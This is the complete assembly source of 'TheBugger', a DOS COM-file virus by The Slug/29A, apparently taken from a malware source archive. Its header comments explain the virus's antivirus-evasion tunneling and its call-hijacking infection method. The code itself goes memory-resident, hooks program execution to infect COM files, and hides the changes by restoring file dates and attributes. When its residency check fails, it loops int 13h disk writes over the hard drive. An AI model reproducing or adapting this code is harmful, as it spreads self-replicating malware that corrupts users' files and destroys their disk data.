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https://github.com/vxunderground/MalwareSourceCode
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538 lines
17 KiB
NASM
538 lines
17 KiB
NASM
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
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;±±± ±±±
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;±±± ðððððð ðð ðð ððððð ðððð ðð ðð ððððð ððððð ððððð ððððð ±±±
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;±±± ðð ððððð ðð= ð==ð ðð ðð ðð ðð ðð= ðð ð ±±±
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;±±± ðð ðð ðð ðð ð ð ðð ðð ðð ðð ðð ðð ðð ðððð ±±±
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;±±± ðð ðð ðð ððððð ððððð ððððð ððððð ððððð ððððð ðð ð VIRUS. ±±±
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;±±± ±±±
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;±±± ¯¯¯ A 29A Research Code by The Slug. ®®® ±±±
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;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
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;±±± TheBugger is a simple COM infector with some interesting ±±±
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;±±± inprovements. ±±±
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;±±± ±±±
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;±±± Its first difference with a normal COM virus is the tricky resident ±±±
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;±±± check; it's designed to avoid lamers writing the typical resident ±±±
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;±±± program wich returns the residency code and forces the virus to not ±±±
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;±±± install in memory. To avoid that, the virus makes an extra check of ±±±
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;±±± a random byte in the memory copy; if the check fails, it jumps to a ±±±
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;±±± simulated HD formatting routine }:). ±±±
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;±±± ±±±
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;±±± Another interesting feature is the tunneling routine. It uses the ±±±
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;±±± common code trace method but it starts tracing from PSP call to int ±±±
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;±±± 21h instead of doing it from normal int 21h vector in order to avoid ±±±
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;±±± resident antivirus stopping trace mode. This call is supported for ±±±
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;±±± compatibility with older DOS versions and it has some little ±±±
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;±±± diferences with the normal int 21 handler: first, the function code ±±±
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;±±± is passed in cl register (not in ah as usual) and second, the ±±±
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;±±± function to call can't be higher than 24h. These diferences are ±±±
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;±±± handled by the O.S. in a separated routine and then it jumps to the ±±±
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;±±± original int 21h handler, so the tunneling routine only skips the ±±±
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;±±± first 'compatibility' routines and gets the real int 21h address €:).±±±
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;±±± ±±±
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;±±± The last big feature, is the infection method; the virus infects COM ±±±
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;±±± files by changing a call in host code to point to it. This call may ±±±
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;±±± be one between the second and fifth. This is done by intercepting ±±±
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;±±± the int 21h service 4bh (exec), when a COM file is executed, the vi- ±±±
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;±±± rus changes its first word with an int CDh call, it intercepts this ±±±
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;±±± int and jumps to the int 21h. When the host starts running, it exe- ±±±
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;±±± cutes the int CDh and then the virus takes control; it restores host ±±±
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;±±± first word and changes int 01h to trace host in order to find a call ±±±
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;±±± to infect }:) The use of int CDh can be avoided by tracing int 21h ±±±
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;±±± until host code, but this way we have the same problem of resident ±±±
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;±±± antivirus. ±±±
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;±±± ±±±
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;±±± And that's all folks :), enjoy it. ±±±
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;±±± ±±±
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;±±± 9 ±±±
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;±±± The Slug/29A };){|0D==8±±±
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;±±± I Love This Job. 3---ë-----±±±
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;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
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.286
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code segment 'TheBugger'
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assume cs:code,ds:code,ss:code
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org 0h
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virsize equ (virend-start)+1
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;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Main C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
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start: push cs ;address t0 return t0 h0st.
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db 68h ;push '0ffset'.
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retonno dw 0000
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push ds es
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pusha
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call sig ;get nasty delta 0ffset.
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sig: pop si
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sub si, offset(sig)
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mov ax, 0B0B0h ;resident check.
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int 21h
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cmp ax, 0BABAh
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jne instal
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jmp lstchk
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instal: mov ah, 62h ;get PSP segment.
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int 21h
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xchg bx,ax ;get MCB addres.
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dec ax
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mov ds,ax
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cmp byte ptr ds:[0],'Z' ;is the last MCB?
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je chgmcb
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jmp aprog
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chgmcb: sub word ptr ds:[3],(virsize/10h)+8 ;change bl0ck size in MCB
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sub word ptr ds:[12h],(virsize/10h)+8 ;& in PSP.
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add ax,ds:[3]
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inc ax
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cld ;copy to new l0cati0n.
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mov es, ax
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xor di, di
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push cs
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pop ds
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mov cx, virsize
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rep movsb
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push es ;jump t0 c0py.
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push offset(newcpy)
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retf
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newcpy: mov si, 06h ;m0ve call t0 int 21,
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lea di, PSPcall+1 ;fr0m PSP t0 c0py 0f virus.
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movsw
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movsw
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mov ds, cx ;save curent int 21h vect0r.
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mov si,21h*4 ;) cx=0
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lea di,int21+1
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movsw
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movsw
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mov word ptr ds:[01h*4], offset(tunn) ;hang tunneling code :)
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mov word ptr ds:[01h*4]+2, es
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pushf ;call int 21h fr0m PSP in trace m0de.
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pop ax
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or ah, 01h
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push ax
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mov cl, 0Bh ;get input status function (in cl ;).
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popf
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call PSPcall
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mov word ptr [si-4], offset(hdl21) ;hang new int 21h handler.
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mov word ptr [si-2], es
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aprog: popa ;return t0 h0st.
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pop es ds
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retf
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lstchk: in ax, 40h ;check rand0m w0rd of mem0ry c0py.
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and ax, 0200h
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push si
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add si, ax
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mov di, ax
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cmpsw
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pop si
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je aprog
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buuuhh: push cs ;display funny message :)
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pop ds
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lea dx, joke
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add dx, si
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mov ah,09h
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int 21h
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mov dx,0180h ;I think it's clear enought };).
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mov cx,07FFh
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funny: mov ax,0401h
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int 13h
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loop funny
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;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
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credits db 'TheBugger virus by The Slug/29A'
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intCD: int 0CDh ;int t0 detect h0st execution.
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PSPcall: db 9Ah
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dd 0 ;PSP call t0 int21h ;)
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joke db 'Removing virus from memory...',13,10,'$'
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;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int 21h Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
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hdl21: cmp ax, 0B0B0h ;resident service?
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jne func2
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mov ax,0BABAh
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push cs ;return virus segment in es
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pop es ;f0r extra check.
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iret
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func2: cmp ax, 4B00h ;exec service?
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je exec
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int21: db 0EAh ;jmp t0 int 21h.
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dd 0
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exec: push ds es
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pusha
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pushf
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mov si, dx ;c0py filespec.
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push cs
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pop es
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lea di, path
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next: lodsb
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stosb
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cmp al, 0
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jne next
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sub si, 4 ;is a .c0m file?
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lodsw
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xor ax, 2020h
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cmp ax, 'oc'
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jne nocom
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call chgattr ;change file attributes.
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mov ax, 3D02h ;0pen file.
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int 03h
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xchg bx, ax
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call getdate ;get file time & date.
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lea dx, firstb ;read first 3 bytes 0f file
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mov cx, 3 ;t0 exe check & h0st detect rutine.
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mov ah, 3Fh
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int 03h
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cmp word ptr cs:firstb, 'ZM' ;is an exe file (MZ sign)?
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je exit
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xor cx, cx ;g0 t0 file start again.
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mov ax, 4200h
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cwd ;dx <- 0 ;)
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int 03h
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lea dx, intCD ;write 'int CDh' c0de 0n file start
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mov cx, 2 ;t0 detect h0st execution.
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mov ah, 40h
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int 03h
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xor ax, ax ;change int CDh vect0r
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mov es, ax ;f0r h0st detection.
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mov ax, es:[0CDh*4]
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mov intcddes, ax
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mov ax, es:[0CDh*4]+2
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mov intcdseg, ax
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mov es:[0CDh*4], offset(fndhst)
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mov es:[0CDh*4]+2, cs
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exit: mov ah, 3Eh ;cl0se file.
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int 03h
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nocom: popf
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popa
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pop es ds
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jmp int21
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;±±±±±±±±±±±±±±±±±±±±±±±±±±± First Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±
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tunn: push ds es bp ;trace int 21 f0r tunneling.
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pusha
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call getret ;get next instructi0n address in es:di.
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cmp es:[di], 0FC80h ;is an 'cmp ax, ??'
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jne fuera
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cmp byte ptr es:[di+2], 24h ;avoid 'cmp ax, 24h'
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je fuera
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stop: xor bx, bx
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mov es, bx
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mov es:[03h*4], di ;make int 03h point to true int 21h ;)
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mov es:[03h*4]+2, ax
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lodsw ;trace m0de 0ff.
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and ah, 0FEh
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mov [si-2], ax
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fuera: popa
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pop bp es ds
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iret
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;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int CDh Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
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fndhst: push ds es bp ;detect h0st c0de at exec.
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pusha
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call getret ;get next instructi0n dir.
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chkhst: cmp di, 102h ;ensure it's h0st start :)
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jne nohost
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push cs
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pop ds
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mov ax, word ptr firstb ;rest0re first h0st w0rd in mem0ry.
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dec di
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dec di
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stosw
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lea dx, path ;0pen file.
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push dx
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mov ax, 3D02h
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int 21h
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xchg bx, ax
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lea dx, firstb ;rest0re first w0rd 0f file.
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mov cx, 2
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mov ah, 40h
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int 21h
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call setdate ;rest0re file date & time.
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mov ah ,3Eh ;cl0se file.
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int 21h
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pop dx
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call setattr ;rest0re file attributes.
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xor ax, ax ;rest0re int CDh vect0r.
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mov es, ax
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mov ax, intcddes
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mov es:[0CDh*4], ax
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mov ax, intcdseg
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mov es:[0CDh*4]+2, ax
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mov word ptr es:[01h*4], offset(fndcal) ;change int 01h vect0r
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mov es:[01h*4]+2, cs ;t0 find a call.
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mov numinstr, 0FFh ;max number 0f instr. t0 trace.
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in ax, 40h ;ramd0m ch0se 0f call t0 infect (2-5).
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and al, 03h
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inc al
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inc al
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mov numcall, al
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push ss ;rest0re 0riginal IP (100h) 0n stack.
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pop ds
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dec di
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dec di
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mov [si-4], di
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lodsw ;trace m0de 0n
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or ah, 01h
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mov ss:[si-2], ax
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nohost: popa
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pop bp es ds
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iret
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;±±±±±±±±±±±±±±±±±±±±±±±±±±± Second Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±
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fndcal: push ds es bp ;trace h0st t0 find a call t0 infect.
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pusha
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dec cs:numinstr ;check instructi0n trace limit.
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jnz goon
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jmp off
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goon: call getret ;get ret address.
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cmp di, cs:lstdsp ;d0 n0t c0unt 0ne m0re instructi0n
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jne norep ;0n 'rep' prefixed instructi0ns.
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inc cs:numinstr
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norep: mov cs:lstdsp, di ;st0re actual return 0ffset.
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mov ax, es:[di]
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cmp al, 9Dh ;check f0r a p0pf.
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jne chkirt
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lodsw
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lodsw
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or ah, 01h ;ensure trap flag will be 0n.
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mov [si-2], ax
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jmp nocall
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chkirt: cmp al, 0CFh ;check f0r a iret.
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jne chkint
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lodsw
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lodsw
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lodsw
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lodsw
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or ah, 01h ;ensure trap flag will be 0n.
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mov [si-2], ax
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anocall:jmp nocall
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chkint: cmp al, 0CDh ;check f0r a int xx.
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jne chkint3
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cmp ah, 20h ;skip ints 20h, 21h & 20h
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je anocall
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cmp ah, 21h
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je anocall
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cmp ah, 27h
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je anocall
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mov cs:numint, ax ;int number t0 perf0rm call.
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inc di ;inc ret addr t0 step 0ver int call.
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inc di
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mov [si-4], di
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popa
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pop bp es ds
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numint dw 00 ;perf0rm int call in virus c0de.
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iret
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chkint3:cmp al, 0CCh ;check int 03h call.
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jne chkcal
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inc di
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mov [si-4], di ;step 0ver int call.
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jmp nocall
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chkcal: cmp al, 0E8h ;check f0r a call t0 infect.
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je found
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jmp nocall
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found: dec cs:numcall ;it's the nice 0ne ;)
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je go
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cmp cs:numinstr, 20 ;d0n't be s0 extrict in call number
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jb go ;if there are t00 few calls.
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jmp nocall
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go: call chgattr ;change attributes.
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mov ax, 3D02h ;0pen file.
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int 03h
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xchg bx, ax
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call getdate ;get file date & time.
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xor cx, cx ;m0ve t0 file call positi0n.
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mov dx, di
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sub dx, 100h
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mov ax, 4200h
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int 03h
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lea dx, check ;read call fr0m file f0r c0mpress chk.
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mov cx, 1
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mov ah, 3Fh
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int 03h
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cmp check, 0E8h ;c0mpressed file?
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je ok
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jmp close
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ok: xor cx, cx ;m0ves t0 end 0f file.
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mov ax, 4202h
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cwd ;dx <- 0 ;)
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int 03h
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mov hostsize, ax
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sub ax, di ;find call parameter.
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add ax, 0FDh
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mov hostsize, ax ;f0r a new "call hostsize".
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mov ax, es:[di+1] ;0ffset t0 return t0 h0st
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add ax, di
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add ax, 3
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mov retonno, ax
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lea dx, start ;save mi c0de at file end.
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mov cx, virsize
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mov ah, 40h
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int 03h
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xor cx, cx ;m0ves again t0 call.
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sub di, 0FFh
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mov dx, di
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mov ax, 4200h
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int 03h
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lea dx, hostsize ;change it. }:)
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mov cx, 2
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mov ah, 40h
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int 03h
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close: call setdate ;rest0re file time & date.
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mov ah, 3Eh ;cl0se file.
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int 03h
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lea dx, path
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call setattr ;rest0re file attributes.
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off: mov bp, sp
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mov ax, ss:[bp+26] ;trace m0de 0ff.
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and ah, 0FEh
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mov ss:[bp+26], ax
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nocall: popa
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pop bp es ds
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iret
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;±±±±±±±±±±±±±±±±±±±±±±± Get Ret Address Fr0m Stack ±±±±±±±±±±±±±±±±±±±±±±±±±
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getret: mov si, sp ;get next instructi0n dir.
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add si, 24
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push ss
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pop ds
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lodsw
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mov di, ax
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lodsw
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mov es, ax
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ret
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;±±±±±±±±±±±±±±±±±±±±±±±± S0me File Handling C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±
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chgattr:push cs
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pop ds
|
||
lea dx, path
|
||
mov ax,4300h ;change file attributes.
|
||
int 03h
|
||
mov attrib,cx
|
||
xor cx, cx ;reset file atributes.
|
||
mov ax,4301h
|
||
int 03h
|
||
ret
|
||
|
||
setattr:mov cx, attrib ;rest0re file attributes.
|
||
mov ax,4301h
|
||
int 03h
|
||
ret
|
||
|
||
getdate:mov ax,5700h ;get file time & date.
|
||
int 03h
|
||
mov time,cx
|
||
mov date,dx
|
||
ret
|
||
|
||
setdate:mov cx,time ;rest0re file time & date.
|
||
mov dx,date
|
||
mov ax,5701h
|
||
int 03h
|
||
ret
|
||
virend:
|
||
|
||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Virtual Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||
|
||
firstb db 3 dup(0) ;buffer f0r h0st start.
|
||
lstdsp dw 0 ;last trace 0ffset.
|
||
numinstr db 0 ;max. number 0f instructi0ns t0 trace.
|
||
numcall db 0 ;call t0 infect (2-5).
|
||
intcddes dw 0 ;int CD vect0r backup.
|
||
intcdseg dw 0
|
||
hostsize dw 0 ;it's just the h0st size ;)
|
||
attrib dw 0 ;file attributes.
|
||
time dw 0 ;file time.
|
||
date dw 0 ;file date.
|
||
check db 0 ;check f0r compressed file.
|
||
path db 0 ;path to host.
|
||
|
||
code ends
|
||
end start
|